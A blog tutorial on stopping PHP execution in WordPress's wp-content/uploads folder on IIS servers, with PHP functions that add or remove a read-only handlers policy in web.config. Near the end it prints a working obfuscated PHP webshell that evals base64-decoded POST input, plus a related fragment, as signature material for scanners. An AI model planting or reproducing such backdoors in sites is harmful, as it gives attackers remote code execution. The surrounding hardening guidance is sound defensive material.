Deny direct access to PHP files in wp-content/uploads/. The following PHP function secures your WordPress website by disabling the execution of PHP scripts in wp-content/uploads, on Windows Server IIS web servers. It creates a web.config
file for this purpose.
How to disable PHP in wp-content/uploads
The PHP execution in wp-content/uploads (aka WP_CONTENT_DIR/uploads) is disabled by writing a web.config file containing an .htaccess as a web application firewall (WAF), to block out some vulnerabilities based on their request characteristics. Or you can use a HTTP blacklist to block out IP addresses known to abuse websites.
The web.config
accessPolicy only works on IIS 7.0+ Windows Server web servers, consult your web hosting provider for more information.
Securing the WordPress uploads folder is important. In many hacked WordPress sites, a PHP backdoor is found within the WP_CONTENT_DIR/uploads
directory. Often because this is the location where uploads are placed automatically. From the backdoor within wp-content/uploads
other backdoors are uploaded to various locations, and scripts are injected with malware.
Disable the execution of PHP scripts in wp-content/uploads
As always, the PHP code is provided AS-IS. The PHP code to write a web.config file comes partially from the WordPress functions iis7_add_rewrite_rule() and saveDomDocument(), both found in wp-admin/includes/misc.php
.
It shouldn’t be too hard for you to wrap this in a WordPress plugin:
<?php
function disable_script_execution() {
$is_iis7 = true;
$path = WP_CONTENT_DIR . '/uploads';
$filename = 'web.config';
if ( $is_iis7 ) {
if ( ! file_exists( $path . '/' . $filename ) ) {
$fp = fopen( $path . '/' . $filename, 'w' );
fwrite( $fp, '<configuration/>' );
fclose( $fp );
}
$formatxml = PHP_EOL;
$formatxml = " <handlers accessPolicy=\"Read\" />";
$formatxml .= PHP_EOL;
$doc = new DOMDocument();
$doc->preserveWhiteSpace = true;
if ( $doc->load( $path . '/' . $filename) === false ) {
return false;
}
$xpath = new DOMXPath( $doc );
$read_accesspolicy = $xpath->query( '/configuration/system.webServer/handlers[starts-with(@accessPolicy,\'Read\')]' );
if ( $read_accesspolicy->length > 0 ) {
return true;
}
$xmlnodes = $xpath->query( '/configuration/system.webServer/handlers' );
if ( $xmlnodes->length > 0 ) {
$handlers_node = $xmlnodes->item(0);
}
else {
$handlers_node = $doc->createElement( 'handlers' );
$xmlnodes = $xpath->query( '/configuration/system.webServer' );
if ( $xmlnodes->length > 0 ) {
$system_webServer_node = $xmlnodes->item(0);
$handler_fragment = $doc->createDocumentFragment();
$handler_fragment->appendXML( $formatxml );
$system_webServer_node->appendChild( $handler_fragment );
}
else {
$system_webServer_node = $doc->createElement( 'system.webServer' );
$handler_fragment = $doc->createDocumentFragment();
$handler_fragment->appendXML( $formatxml );
$system_webServer_node->appendChild( $handler_fragment );
$xmlnodes = $xpath->query( '/configuration' );
if ( $xmlnodes->length > 0 ) {
$config_node = $xmlnodes->item(0);
$config_node->appendChild( $system_webServer_node );
}
else {
$config_node = $doc->createElement( 'configuration' );
$doc->appendChild( $config_node );
$config_node->appendChild( $system_webServer_node );
}
}
}
$rule_fragment = $doc->createDocumentFragment();
$rule_fragment->appendXML( $formatxml );
$handlers_node->appendChild( $rule_fragment );
$doc->encoding = "UTF-8";
$doc->formatOutput = true;
saveDomDocument( $doc, $path .'/'. $filename );
return true;
}
}
Code language: PHP (php)
By disabling PHP in the uploads directory, your WordPress site is a little bit more secured. The, somewhat older, Smashing Magazine post Common WordPress Malware Infections gives great insight in common WordPress (core, theme, plugin) vulnerabilities and how they’re abused.
wp-content/uploads/web.config result
The function above creates the following web.config file in your wp-content/uploads directory:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read"/>
</system.webServer>
</configuration>
Code language: HTML, XML (xml)
This tells IIS that handlers (such as PHP) may only read, and not execute. If you don’t want to create a WordPress plugin, you can copy/paste the above code into a new file and save it as web.config
. Upload the file to your wp-content/uploads folder. Be careful not to upload it to a different folder.
Re-enable PHP script execution
If you want to re-enable PHP script execution, you can simply delete the web.config file from the wp-content/uploads directory. Or you can programmatic enable PHP by deleting the <handlers accessPolicy="Read"/>
line:
<?php
function enable_script_execution() {
$is_iis7 = true;
$path = WP_CONTENT_DIR . '/uploads';
$filename = 'web.config';
if ( $is_iis7 ) {
if ( ! file_exists( $path . '/' . $filename ) ) {
return true;
}
$doc = new DOMDocument();
$doc->preserveWhiteSpace = false;
if ( $doc->load( $path . '/' . $filename ) === false ) {
return false;
}
$xpath = new DOMXPath($doc);
$handlers = $xpath->query( '/configuration/system.webServer/handlers[contains(@accessPolicy,\'Read\')]' );
if ( $handlers->length > 0 ) {
$child = $handlers->item(0);
$parent = $child->parentNode;
$parent->removeChild( $child );
$doc->formatOutput = true;
saveDomDocument( $doc, $path .'/'. $filename );
}
}
return true;
}
?>
Code language: PHP (php)
Example PHP backdoor found in wp-content/uploads
An example of a PHP backdoor you may find is the following one. You can use the PHP backdoor code for signatures in your automated backdoor scanning tools or grep regular expressions.
/wp-content/uploads/2009/12/files.php
:
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n23f412'])) {
eval($s21(${$s20}['n23f412']));
}
?>
Code language: PHP (php)
/wp-content/uploads/functions.php
:
$tddbvdlvz="base64_decode";return $tddbvdlvz($gnce);}
Code language: PHP (php)
Preventing the execution of PHP in wp-content/uploads
prevents these exploits from spreading. But you still need to address the cause in your website.
That’s a wounderful tutorial!!! Thank you very much! I got a couple of techniques for myself! Thanks again